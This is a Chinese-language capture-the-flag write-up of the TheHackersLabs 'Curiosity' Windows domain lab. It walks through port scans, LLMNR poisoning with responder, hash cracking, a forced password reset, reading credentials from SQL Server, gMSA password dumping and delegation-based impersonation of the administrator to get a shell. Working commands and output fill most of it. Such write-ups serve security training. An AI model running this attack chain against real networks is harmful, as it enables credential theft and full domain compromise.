<h1>Curiosity</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/23">https://labs.thehackerslabs.com/machine/23</a>
</blockquote>
<img src="/post-images/TheHackersLabsCuriosity/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<code>nmap</code> 端口扫描
<pre><code class="hljs language-bash">➜ Curiosity nmap -sT -min-rate 10000 -p- 192.168.56.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:28 CST
Warning: 192.168.56.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.8
Host is up (0.00052s latency).
Not shown: 64857 closed tcp ports (conn-refused), 653 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49672/tcp open unknown
49683/tcp open unknown
49695/tcp open unknown
49703/tcp open unknown
49704/tcp open unknown
MAC Address: 08:00:27:94:AB:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
</code></pre>
<code>UDP</code> 也扫描
<pre><code class="hljs language-bash">➜ Curiosity nmap -sU -min-rate 10000 -p- 192.168.56.8 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:35 CST
Warning: 192.168.56.8 giving up on port because retransmission cap hit (10).
Nmap scan report for hackme.thl (192.168.56.8)
Host is up (0.032s latency).
Not shown: 65449 open|filtered udp ports (no-response), 81 closed udp ports (port-unreach)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
137/udp open netbios-ns
389/udp open ldap
MAC Address: 08:00:27:94:AB:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
</code></pre>
<pre><code class="hljs language-bash">➜ Curiosity nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.56.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:29 CST
Nmap scan report for 192.168.56.8
Host is up (0.00050s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-19 05:30:19Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2025-07-19T05:31:22+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&#x3C;unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&#x3C;unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2025-07-19T05:31:22+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&#x3C;unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2025-07-19T05:31:22+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&#x3C;unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after: 2025-10-16T13:11:58
|_ssl-date: 2025-07-19T05:31:22+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:94:AB:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
Network Distance: 1 hop
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-07-19T05:31:14
|_ start_date: 2025-07-19T11:20:37
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_nbstat: NetBIOS name: DC, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: 08:00:27:94:ab:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.56.8
</code></pre>
<h3>枚举测试</h3>
因为没有 <code>Web</code> 端口，我们从 <code>SMB</code> 服务开始枚举
测试匿名账户
<pre><code class="hljs language-bash">➜ Curiosity smbclient -L 192.168.56.8 -U anonymous
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILURE
</code></pre>
在这里尝试枚举了很久，没结果
<h3>responder</h3>
打开 <code>Wireshark</code> 抓包看看
看到<code>LLMNR</code>，让我想起了<code>NTLM</code>中继攻击
<img src="/post-images/TheHackersLabsCuriosity/image1.png" alt="image.png">
打开 <code>responder</code>
<pre><code class="hljs language-bash">responder -I eth2
</code></pre>
抓到 <code>jdoe</code> 的 <code>NET-NTLM hash</code>
<img src="/post-images/TheHackersLabsCuriosity/image2.png" alt="image.png">
使用 <code>hashcat</code> 进行爆破
<pre><code class="hljs language-bash">hashcat -m 5600 hash /usr/share/seclists/Passwords/seasons.txt 
</code></pre>
得到密码<code>$pr1ng@</code>
<img src="/post-images/TheHackersLabsCuriosity/image3.png" alt="image.png">
测试凭据
<pre><code class="hljs language-bash">➜ Curiosity nxc smb hackme.thl -u jdoe -p '$pr1ng@' 
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False) 
SMB 192.168.56.8 445 DC [+] hackme.thl\jdoe:$pr1ng@ 
➜ Curiosity nxc ldap hackme.thl -u jdoe -p '$pr1ng@'
LDAP 192.168.56.8 389 DC [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
LDAP 192.168.56.8 389 DC [+] hackme.thl\jdoe:$pr1ng@ 
➜ Curiosity nxc winrm hackme.thl -u jdoe -p '$pr1ng@'
WINRM 192.168.56.8 5985 DC [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
 arc4 = algorithms.ARC4(self._key)
WINRM 192.168.56.8 5985 DC [+] hackme.thl\jdoe:$pr1ng@ (Pwn3d!)
</code></pre>
当前用户可以拿到 <code>user.txt</code>
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\Users\jdoe\Desktop> cat user.txt
{bdxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>域分析</h2>
收集数据
<pre><code class="hljs language-bash">➜ Curiosity bloodhound-python -d 'hackme.thl' -ns 192.168.56.8 --zip -c All -dc 'DC.hackme.thl' -u jdoe -p '$pr1ng@'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: hackme.thl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC.hackme.thl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC.hackme.thl
INFO: Found 17 users
INFO: Found 67 groups
INFO: Found 2 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.hackme.thl
INFO: Connecting to GC LDAP server: DC.hackme.thl
INFO: Done in 00M 01S
INFO: Compressing output into 20250719140452_bloodhound.zip
</code></pre>
上 <code>BLoodhound</code>
用户组信息
<img src="/post-images/TheHackersLabsCuriosity/image4.png" alt="image.png">
<code>jdoe</code> 用户信息
<img src="/post-images/TheHackersLabsCuriosity/image5.png" alt="image.png">
拥有强制修改<code>DBA_ADM</code> 的权限
<img src="/post-images/TheHackersLabsCuriosity/image6.png" alt="image.png">
<h2>横向移动</h2>
<h3>To DBA_ADM</h3>
通过 <code>bloodyAD</code> 来修改其密码，失败了 ❌
<img src="/post-images/TheHackersLabsCuriosity/image7.png" alt="image.png">
我们远程上去通过 <code>PowerShell</code> 改
<pre><code class="hljs language-bash">$SecPassword = ConvertTo-SecureString '$pr1ng@' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HACKME\jdoe', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
. ./PowerView.ps1
Set-DomainUserPassword -Identity DBA_ADM -AccountPassword $UserPassword -Credential $Cred
</code></pre>
测试凭据
<img src="/post-images/TheHackersLabsCuriosity/image8.png" alt="image.png">
<h3>To sqlsvc</h3>
<img src="/post-images/TheHackersLabsCuriosity/image9.png" alt="image.png">
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\Users> ls

 Directory: C:\Users

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/18/2024 8:34 AM Administrator
d----- 10/17/2024 4:53 PM dba_adm
d----- 10/17/2024 2:56 PM jdoe
d----- 10/17/2024 7:49 PM MSSQL$SQLEXPRESS
d-r--- 9/12/2016 1:37 PM Public
d----- 10/18/2024 5:46 PM sqlsvc
d----- 10/17/2024 7:49 PM SQLTELEMETRY$SQLEXPRESS
</code></pre>
<code>winpeas</code> 枚举时能看到数据库的管道
<img src="/post-images/TheHackersLabsCuriosity/image10.png" alt="image.png">
我们的用户应该是可以和数据库进行交互的
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\> sqlcmd -S "localhost\SQLEXPRESS" -Q "SELECT @@VERSION"

--------------------------------------------------------------
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
 Sep 24 2019 13:48:23
 Copyright (C) 2019 Microsoft Corporation
 Express Edition (64-bit) on Windows Server 2016 Datacenter 10.0 &#x3C;X64> (Build 14393: ) (Hypervisor)

(1 rows affected)
</code></pre>
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\> sqlcmd -S "localhost\SQLEXPRESS" -Q "select name FROM sys.databases"
name
-------------------------------------------------------------------------------------------
tempdb
model
msdb
CredentialsDB

(5 rows affected)
</code></pre>
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE CredentialsDB;select name from sys.tables"
Changed database context to 'CredentialsDB'.
name
--------------------------------------------------------------------------------------------------------------------------------
Credentials

(1 rows affected)
</code></pre>
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE CredentialsDB;select * from Credentials"
Changed database context to 'CredentialsDB'.
ID Username Password
----------- -------------------------------------------------- ---------------------------------------------
 1 sqlsvc 23012244084524e51305f015727b890b

(1 rows affected)
</code></pre>
这样就读到了<code>sqlsvc</code>用户的密码
到在线网站进行破解，得到密码 <code>P@ssword1234!</code>
<img src="/post-images/TheHackersLabsCuriosity/image11.png" alt="image.png">
测试凭据
<pre><code class="hljs language-bash">➜ Curiosity nxc smb hackme.thl -u sqlsvc -p 'P@ssword1234!'
SMB 192.168.56.8 445 DC [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False) 
SMB 192.168.56.8 445 DC [+] hackme.thl\sqlsvc:P@ssword1234! 
</code></pre>
<h3>To GMSA_SVC$</h3>
<code>SQLSVC</code> 账户可以读取 <code>GMAS</code> 密码
<img src="/post-images/TheHackersLabsCuriosity/image12.png" alt="image.png">
读取 <code>gMSA</code> 的密码
<pre><code class="hljs language-bash">➜ gMSADumper python gMSADumper.py -u sqlsvc -p 'P@ssword1234!' -d hackme.thl
Users or groups who can read password for GMSA_SVC$:
 > GMSA_USERS
GMSA_SVC$:::e1eef5023c307890fdbb047e6554cfd0
GMSA_SVC$:aes256-cts-hmac-sha1-96:b6ec5a8b9a8b6053167b86b1ef724f3af27c3de4286a59a6bfcb293a37740b66
GMSA_SVC$:aes128-cts-hmac-sha1-96:a6dc7233da4a2d54e340bb0131d9d921
</code></pre>
<h3>To Administrator</h3>
我们寻找路径，发现<code>GMSA_SVC$</code> 对 <code>DC</code> 有 <code>AllowToAct</code> 权限
<img src="/post-images/TheHackersLabsCuriosity/image13.png" alt="image.png">
<code>AllowToAct</code> 就是 <code>AllowedToActOnBehalfOfOtherIdentity</code> ，<code>GMSA_SVC</code> 已添加到 <code>DC.HACKME.THL</code> 上的 <code>msds-AllowedToActOnBehalfOfOtherIdentity</code> 属性中
<pre><code class="hljs language-bash">➜ Curiosity getST.py -spn 'cifs/DC.hackme.thl' -impersonate 'administrator' 'hackme.thl/GMSA_SVC$' -hashes :e1eef5023c307890fdbb047e6554cfd0
 import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_DC.hackme.thl@HACKME.THL.ccache
</code></pre>
<pre><code class="hljs language-bash">➜ Curiosity export KRB5CCNAME=administrator@cifs_DC.hackme.thl@HACKME.THL.ccache 

➜ Curiosity psexec.py administrator@dc.hackme.thl -k -no-pass
 import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on dc.hackme.thl.....
[*] Found writable share ADMIN$
[*] Uploading file vgKATdFu.exe
[*] Opening SVCManager on dc.hackme.thl.....
[*] Creating service VDYV on dc.hackme.thl.....
[*] Starting service VDYV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> 
</code></pre>
读取 <code>root.txt</code>
<pre><code class="hljs language-bash">C:\Users\Administrator\Desktop> type root.txt
24axxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>总结</h2>
不算难，除了爆破的字典有点不明所以
最后一步，直接看 <code>GMSA_SVC$</code> 的 <code>OutBound Execution</code>是空的，但自己寻找路径又能找到就有点奇怪
下面的脚本为什么我们可以截取到 <code>jdoe</code> 用户的<code>NET NTLM HASH</code>
<pre><code class="hljs language-bash">*Evil-WinRM* PS C:\temp> cat shareconnect.ps1

while ($true) {
 # Comando net use para reconectar el recurso compartido
 net use Z: \\SQLserver\bbdd /user:hackme\jdoe '$pr1ng@'

 # Espera de 1 minuto antes de volver a ejecutar
 Start-Sleep -Seconds 60
}
</code></pre>

Curiosity https://labs.thehackerslabs.com/machine/23 Recon PortScan nmap 端口扫描 UDP 也扫描 枚举测试 因为没有 Web 端口，我们从 SMB 服务开始枚举 测试匿名账户 在这里尝试枚举了很久，没结果 responder...

TheHackersLabs - Curiosity

TheHackersLabs - THLPWN

念念碎